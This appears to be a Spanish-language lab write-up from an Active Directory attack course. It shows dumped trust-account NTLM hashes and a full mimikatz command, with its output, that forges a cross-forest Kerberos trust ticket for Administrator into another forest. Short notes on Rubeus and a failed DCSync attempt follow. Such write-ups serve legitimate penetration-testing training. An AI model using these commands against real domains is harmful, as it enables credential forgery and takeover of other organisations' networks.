Learning Objective - 20
Across Forest using Trust Tickets
Requerimos el hash de la confianza entre forest.
SMB 172.16.2.1 445 DCORP-DC mcorp$:1103:aad3b435b51404eeaad3b435b51404ee:f5b5c9f1ca76187393db1d3bb8ded94e:::
SMB 172.16.2.1 445 DCORP-DC US$:1104:aad3b435b51404eeaad3b435b51404ee:f85385d81cc4936d37ff8f27813f43c6:::
SMB 172.16.2.1 445 DCORP-DC ecorp$:1112:aad3b435b51404eeaad3b435b51404ee:4501e4c7f30e1cb3c9886f06a3ed1c6a:::Creando un TGT entre forest.
C:\AD\Tools>mimikatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /rc4:4501e4c7f30e1cb3c9886f06a3ed1c6a /service:krbtgt /target:eurocorp.local /ticket:trust_forest_tkt.kirbi" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /rc4:4501e4c7f30e1cb3c9886f06a3ed1c6a /service:krbtgt /target:eurocorp.local /ticket:trust_forest_tkt.kirbi
User : Administrator
Domain : dollarcorp.moneycorp.local (DOLLARCORP)
SID : S-1-5-21-719815819-3726368948-3917688648
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 4501e4c7f30e1cb3c9886f06a3ed1c6a - rc4_hmac_nt
Service : krbtgt
Target : eurocorp.local
Lifetime : 3/4/2024 2:30:48 AM ; 3/2/2034 2:30:48 AM ; 3/2/2034 2:30:48 AM
-> Ticket : trust_forest_tkt.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
mimikatz(commandline) # exit
Bye!
Luego cargamos el ticket usando rubeus.
Ahora podemos consultar al dc de eurocorp leer los archivos y obtener el contenido de secret.txt
DCSync
Si quisieramos hacer DCSync, probamos con el protocolo LDAP al cargar el ticket.
No funciona y no se porque exactamente, debe estar limitado a ciertas consultas.
Last updated